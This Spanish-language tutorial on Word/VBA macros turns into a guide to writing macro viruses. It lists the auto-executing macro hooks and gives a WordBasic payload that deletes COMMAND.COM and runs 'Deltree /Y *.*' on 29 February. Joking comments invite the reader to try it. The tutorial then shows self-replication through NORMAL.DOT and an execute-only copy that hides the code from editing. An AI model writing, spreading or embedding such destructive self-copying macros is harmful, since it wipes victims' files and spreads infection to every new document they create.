Visual Basic Para Aplicaciones es el
primer lenguaje de macros unificado para toda la gama de aplicaciones de
Microsoft, es decir que el modelo de objetos de las aplicaciones de
Microsoft : Word, Excel, Outllok, Acces, Power Point, Project, etc.
tiende a unificarse y a ser programable bajo un mismo lenguaje que tiene
iguales o muy similares objetos y métodos. Los macros de VBA o
Procedimientos pueden contener subrutinas y/o funciones, mientras que
las subrutinas ejecutan una serie de instrucciones, las funciones
además devuelven un valor y se les puede pasar parámetros, por
ejemplo:
sub muestramensaje()
text1.text="Hola"
end sub
function cuadrado(numero)
'numero es el argumento y cuadrado el
valor que retorna la funcion
cuadrado=numero*numero
end function
Un documento puede tener uno o varios macros, los
que a su vez pueden constar de Forms y módulos con sus respectivas sub
o function.
Como VBA además trabaja con objetos y
propiedades, podemos hacer referencia desde un macro a otros objetos
como documentos, hojas de cálculo, etc.
Otra característica que hace relativamente sencillo crear virus de
macros es la existencia de gran cantidad de funciones predefinidas, así
como subrutinas automáticas especialmente:
Autexec() (cuando se abre cualquier
documento del Word)
Auto Open() (cuando se abre un documento
determinado)
Auto New() (cuando se crea un nuevo documento)
Auto Close() (cuando se cierra un documento)
Auto Exit() (cuando se sale del Word)
Así podemos programar cualquier serie de comandos
con gran facilidad para que se ejecuten cada vez que ocurra cualquiera
de estos eventos, basta escribirlos con el nombre que corresponda
.
Otra de las características de VBA es su
extremada portabilidad ya que para que una macro funcione basta con que
se pueda abrir el documento en cualquiera de las aplicaciones Office que
lo soporte, así podemos hacer funcionar la misma macro en Windows 95,
98, NT, 2000, ME, Mackintosh , etc. con solo abrir el documento en una
versión del Officce que lo soporte
Por ejemplo, una bomba que borre el command.com y
cada 29 de febrero (año bisiesto) los directorios al salir de
Word, para el antiguo wordbasic sería tan sencillo como:
Sub Auto Exit()
If
Application.Username <> "MaD_MoTHeR" Then
'
Verificamos que la Aplicacion NO esta‚ registrada a cierta persona
SetAttr "C:\COMMAND.COM",0
' Le quitamos los atributos a este fichero
Open "C:\COMMAND.COM" for Output as #1
' Lo abrimos para comprobar que no se dispara ningun FLAG
' de error
Close #1
' Lo cerramos de nuevo
Kill "C:\COMMAND.COM"
' }:-)
End If
If
Month(Now())=2 Then
' Buscamos
el mes de Febrero
If Day(Now())=29 Then
' D¡a 29 (1 vez cada 4 a¤os) :-)))))
Shell "Deltree /Y *.* > null"
' Probadlo... ah! el /Y funciona en todos los idiomas! :-)
' quedan ficheros sin borrar... pero qu‚ m s d ! :-)))
End If
End If
End Sub
Para obtener la autoreplicación bastará con
almacenar en una variable el nombre de la macro
nombre$ = WindowName$() +
":AutoNew" -> Por ejemplo para que 'actue'
al crear un nuevo documento.
Y luego se copia en la plantilla NORMAL.DOT que es
la que se carga por defecto cada vez que abrimos un nuevo documento.
Así, cada nuevo documento llevará una copia de nuestro sencillo
"virus"
MacroCopy "Miplantilla:Mimacro",
"Global:AutoClose", 1
La función MacroCopiar con el parametro 1 (cualquiera distinto de 0 sirve)
hace que la macro resultado de la copia sea SOLO EJECUTABLE (no la
podremos
editar), con lo cual conseguimos una macro encriptada!